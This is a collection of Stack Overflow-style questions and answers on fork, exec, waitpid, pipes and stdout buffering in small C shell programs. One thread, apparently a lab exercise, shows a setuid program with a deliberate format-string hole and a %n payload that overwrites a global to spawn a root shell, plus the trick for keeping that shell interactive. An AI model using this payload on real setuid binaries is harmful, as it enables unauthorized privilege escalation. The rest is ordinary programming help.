c - implementing a shell with prompt : child prints after parent waitpid - c

I'm currently trying to implement a basic shell programm which wait for user to prompt a single command (just like "ls" or something else) and this following code is working, except that I get a weird output...
Code
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <errno.h>
char *username;
char hostname[1024];
char currentdir[1024];
char shell_input[256];
int error_code;
int main() {
int pid, status;
char *pos;
username = getenv("USER");
gethostname(hostname, sizeof(hostname));
getcwd(currentdir, sizeof(currentdir));
while(1){
printf("%s#%s:%s$ ", username, hostname, currentdir);
fgets(shell_input, sizeof(shell_input), stdin);
// deleting the newline captured by fgets
if ((pos=strchr(shell_input, '\n')) != NULL)
*pos = '\0';
if((pid = fork())==0){
error_code= execlp(shell_input, shell_input, NULL);
if(error_code!=0){
printf(" %s \n", strerror(errno));
exit(0);
}
}else{
waitpid(pid, &status, -1);
}
}
}
As expected, when i run my program, i'v got this console prompt :
jeremy#jeremy-pc:/home/jeremy/Cours$
Then, if want to run the ls command in my program, the command works but i got this output :
jeremy#jeremy-pc:/home/jeremy/Cours$ ls
jeremy#jeremy-pc:/home/jeremy/Cours$ example prototype.c dir1 prototype
The problem here, is that the "prompt" string (jeremy#jeremy-pc etc...) is printed before the ls result which is supposed to be printed before the waitpid.
So my question is, what's wrong in my code as long as i don't get a result like this :
jeremy#jeremy-pc:/home/jeremy/Cours$ ls
example prototype.c dir1 prototype
jeremy#jeremy-pc:/home/jeremy/Cours$
Thank you in advance for your help and for your time, have a good day :)

You have a problem with the option argument of waitpid. By giving -1 (0xFFFFFFFF) as third argument, you probably enable all options including WNOHANG, which is described as return immediately if no child has exited. in manpage.
Disabling all flags would make waitpid wait for process to exit:
waitpid(pid, &status, 0);

Related

How is the speed of printf affected by a presence of a forked process and '\n'?

I had this simple shell like program that works both in interactive and non-interactive mode. I have simplified the code as much as I can to present my question, but it is still a bit long, so sorry for that!
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
/**
*main-entry point for gbk
*Return: returns the index of 0 on sucess
*/
int main(void)
{
char *cmd = malloc(1 * sizeof(char)), *cmdargs[2];
size_t cmdlen = 0;
int childid, len;
struct stat cmdinfo;
while (1)
{
printf("#cisfun$ ");
len = getline(&cmd, &cmdlen, stdin);
if (len == -1)
{
free(cmd);
exit(-1);
}
/*replace the ending new line with \0*/
cmd[len - 1] = '\0';
cmdargs[0] = cmd;
cmdargs[1] = NULL;
childid = fork();
if (childid == 0)
{
if (stat(*cmdargs, &cmdinfo) == 0 && cmdinfo.st_mode & S_IXUSR)
execve(cmdargs[0], cmdargs, NULL);
else
printf("%s: command not found\n", *cmdargs);
exit(0);
}
else
wait(NULL);
}
free(cmd);
exit(EXIT_SUCCESS);
}
To summarize what this program does, it will first print the prompt #cisfun$ , waits for an input in interactive mode and takes the piped value in non-interactive mode, creates a child process, the child process checks if the string passed is a valid executable binary, and if it is, it executes it other wise it prints a command not found message and prompts again.
I have got this program to work fine for most of the scenarios in interactive mode, but when I run it in non-interactive mode all sorts of crazy (unexpected) things start to happen.
For example, when I run echo "/bin/ls"|./a.out, (a.out is the name of the compiled program)
you would first expect the #cisfun$ message to be printed since that is the first thing performed in the while loop, and then the output of the /bin/ls command, and finally #cisfun$ prompt, but that isn't what actually happens. Here is what happens,
It is very weird the ls command is run even before the first print message. I, at first, thought there was some threading going on and the printf was slower than the child process executing the ls command. But I am not sure if that is true as I am a noob. and also things get a bit crazier if I was printing a message with '\n' at the end rather than just a string. (if I change printf("#cisfun$ "); to printf("#cisfun$\n");) the following happens,
It works as it should, so it got me thinking what is the relation between '\n', fork and speed of printf. Just in short what is the explanation for this.
The second question I have is, why doesn't my program execute the first command and go to an interactive mode, I don't understand why it terminates after printing the second #cisfun$ message. By checking the status code (255) after exit I have realized that the effect is the same as pressing ctr+D in the interactive mode, which I believe is exited by the getline function. But I dont understand why EOF is being inserted in the second prompt.

Setuid binary to spawn root shell by overriding %n, does not work with exploit but works when exploit is unnecessary

I have a Setuid binary that has a printf format string vulnerability that is supposed to be exploited with "%n" to overwrite the value of the authenticated global variable. The execution of /bin/bash works with root Setuid permissions when authenticated = 1, but not when authenticated = 0 and the exploit is used.
I have tried with ls and it works, so the exec is happening. I have also tried making authenticated = 1 in the source so it automatically runs bash with no exploit. This works in spawning a root shell. When the exploit is used, the program calls the access granted function as expected, but ends at the exec and perror is never reached. The parent process dies, though, meaning the exec of bash must have happened. Bash must be being executed, but it is crashing/exiting on startup.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
With authenticated = 0, I use gdb to find the address of authenticated is somewhere like 0x0804a050. I run the program with AAAA %x %x %x... to find that buf begins at the 4th stack position. My exploit then is: python -c "print('\x50\xa0\x04\x08%x%x%x%n')" which successfully overwrites the global var as "Access Granted!" is printed. The perror is never reached, and Bash must spawn, but the parent process dies, so the Bash process must have died also.
This does not happen when authenticated = 1. In that scenario, the Setuid binary behaves as expected and pops a root shell.
My question is: why is Bash dying on startup but only when the Detuid binary is exploited?
Bash must be dying because ps -aux does not list a new Bash process, and running exit exits the calling bash instance.
When you run one of:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
The only input is your exploit. You don't input any commands, so bash has nothing to do and exits. This is the same thing that happens if you run true | bash or bash < /dev/null.
If you want to be able to type in some commands manually afterwards, the easiest way to do that is:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln

Communication between interactive ocaml interpreter and another process

I need to load a *.ml file into the Ocaml toplevel (the interactive interpreter, when you type 'ocaml' in a shell) and then send an instruction from a Matlab process, get back the result of the instruction, send back another instruction, ...
I've made this C program. The parent process gets the Matlab's instruction from a named pipe, sends it to the child process (with ocaml running) and gets the response back so it can send it to Matlab.
But there is some kind of bug: when I send an instruction, I get back some weird characters, I send another instruction and then I receive the response of the first instruction...
(I didn't copy the perror() test to have less text)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
// Parent -> Child
int pipe_in[2];
// Child -> parent
int pipe_out[2];
/*
pipe[0] = output
pipe[1] = input
*/
pipe(pipe_in);
pipe(pipe_out);
pid_t pid;
if ((pid = fork()) == 0) {
// CHILD SIDE
close(pipe_in[1]);
close(pipe_out[0]);
dup2(pipe_in[0], STDIN_FILENO);
dup2(pipe_out[1], STDOUT_FILENO);
dup2(pipe_out[1], STDERR_FILENO);
close(pipe_in[0]);
close(pipe_out[1]);
char *args[] = {"ocaml", NULL};
execvp("ocaml", args);
printf("FAIL\n");
exit(EXIT_FAILURE);
} else {
// PARENT SIDE
printf("[*] PID : %d\n", (int) pid);
close(pipe_in[0]);
close(pipe_out[1]);
char cmd[1024];
char feedback[1024];
ssize_t cmd_read;
ssize_t feedback_read = sizeof(feedback);
while (1) {
// Get the instruction from Matlab.
printf("[>] ");
int fifo_in = open("/tmp/pipe_in", O_RDONLY);
cmd_read = read(fifo_in, cmd, sizeof(cmd));
close(fifo_in);
printf("%s\n", cmd);
// Send the instruction to the ocaml interpreter.
write(pipe_in[1], cmd, cmd_read);
// Read the response of the ocaml interpreter.
while (feedback_read == sizeof(feedback)) {
feedback_read = read(pipe_out[0], feedback, sizeof(feedback));
printf("[-] %d\n", (int) feedback_read);
}
printf("[<] %s\n", feedback);
// Send to Matlab the response.
int fifo_out = open("/tmp/pipe_out", O_WRONLY);
write(fifo_out, feedback, feedback_read);
close(fifo_out);
cmd_read = 0;
feedback_read = sizeof(feedback);
}
close(pipe_in[1]);
close(pipe_out[0]);
}
}
I compile the code with gcc -Wall -std=c99 -o tphr tphr.c
I run the programm in one shell and in another :
> printf 'let x = 10;;\n' > /tmp/pipe_in
> cat /tmp/pipe_out
OCaml version 4.03.0
# %
> printf 'let y = 5;;\n' > /tmp/pipe_in
> cat /tmp/pipe_out
val x : int = 10
# %
How can I fix the result ?
If, by "weird characters", you mean
OCaml version 4.03.0
that is simply because this is what the OCaml toplevel prints out on startup. So you need to read this line when your own program starts up.
If you mean the # symbol, also known as the prompt, you can turn it off by running ocaml -nopromt.
You don't want to run the interactive ocaml toplevel here for multiple reasons:
the toplevel parses the configfiles of the user and then loads different modules. This can change the available values, change behaviour, and make your matlab process get different results per user.
the output of the toplevel may change between versions making it difficult to parse and return the right reply to matlab
Did you know that you can call the toplevel from ocaml bytecode to interprete strings? I suggest dumping the C code and writing ocaml byte code to read from the pipe, interpret the command and reply with the result.

C-Passing arguments for execution of a program in new Xterm window

Problem statement:-
How to pass arguments to a program for execution in a new Xterm/Gnome window which will be calling through execlp.
A little elaborate explanation:-(oxymoron eh?)
Consider the following program which will take a string as argument and display it
//output.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
if(argc<2)
{
printf("insufficient parameters\n");
exit(1);
}
printf("%s",argv[1]);
sleep(10);
return 0;
}
And another program,client.cwhich, during the course of its execution is required to call output.c and make it display in a new xterm/gnome-terminal window.
//client.c
int main()
{
char buf[25]="Test String";//as argument for program to be called
int pid_child=fork();
if(pid_child==-1)
{
printf("Fork Failed. Exiting");
exit(1);
}
if(pid_child==0)
{
execlp("/usr/bin/xterm","-e","./output",buf,NULL);
}
int status=0;
while(wait(&status)!=-1);
}
The line of contention here is
execlp("/usr/bin/xterm","-e","./output",buf,NULL); //With string `buf` as argument for `output`.
Result:-Does not run
Error
-e: Explicit shell already was /~/cs60/directory/./output
-e: bad command line option "Test String"
execlp("/usr/bin/xterm","-e","./output",NULL);//Without passing variable `buf`
Result:- a) New Xterm window opens. b) output terminates with Insufficient parameters (as expected).
The manpage clearly states for Xterm:
-e program [ arguments ... ]
This option specifies the program (and its command line arguments) to be run in the xterm window.
It works perfectly fine when I run it from a terminal (as a script). But how can I achieve this through C.
Any help will be highly appreciated
You need to understand how execlp() works.
You need to add a second argument to execlp with the command name ("xterm").
execlp("/usr/bin/xterm", "xterm", "-e", "./output", buf, NULL);
Also, your output program may want to do a fflush (so you see the output), and you should exit or otherwise take proper evasive action if execl() fails. Note that when the command name ("/usr/bin/xterm") contains any slashes, execlp() behaves the same as execl().

execute less with execv?

I have the following c code. I want to display my file with less by calling execv()
however the following seems never work. The program terminates and noting pop out.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(void){
int pid;
if(pid=fork()>0){
//read in from stdin and pass to pipe
}else if(pid==0){
//read from pipe
//write to out.txt
//everything up to here works fine
char* para[]={"less","/Desktop/out.txt"};
execv("/bin/less",para);
}
return 0;
}
(The original code contained execv("bin/less", para);.) Unless the current directory is the root directory, /, or unless there is a program less in the subdirectory ./bin/less, then one of your problems is that you have a probable typo in the name of the executable. That assumes the program is /bin/less and not /usr/bin/less. You might even use execvp() to do a PATH-based search for the program.
There's an additional problem: you need to include a null pointer to mark the end of the argument list.
Finally, you can print an error message after the execv() returns. The mere fact that it returns tells you it failed.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(void)
{
int pid;
if ((pid = fork()) != 0)
{
// read in from stdin and pass to pipe
// Need to test for fork() error here too
}
else
{
// read from pipe
// write to out.txt
// everything up to here works fine
char *para[] = { "/bin/less", "Desktop/out.txt", 0 };
execv(para[0], para);
fprintf(stderr, "Failed to execute %s\n", para[0]);
exit(1);
}
return 0;
}
Or:
char *para[] = { "less", "Desktop/out.txt", 0 };
execvp(para[0], para);
fprintf(stderr, "Failed to execute %s\n", para[0]);
The remarks in the code about pipes are puzzling since there is no sign of pipes other than in the comments. As it stands, less will read the file it is told to read. Note that less will not paginate its output if the output is not going to a terminal. Since we can see no I/O redirection, we have to assume, then, that less will ignore anything the program tries to write to it, and will not send any data back to the program.
char* para[]={"less","/Desktop/out.txt"};
execv("/bin/less",para);
How does execv know when to stop reading parameters?
I think if you'd put code in there to handle execv() returning an error you'd have found this. You're also not testing for errors from fork().

Resources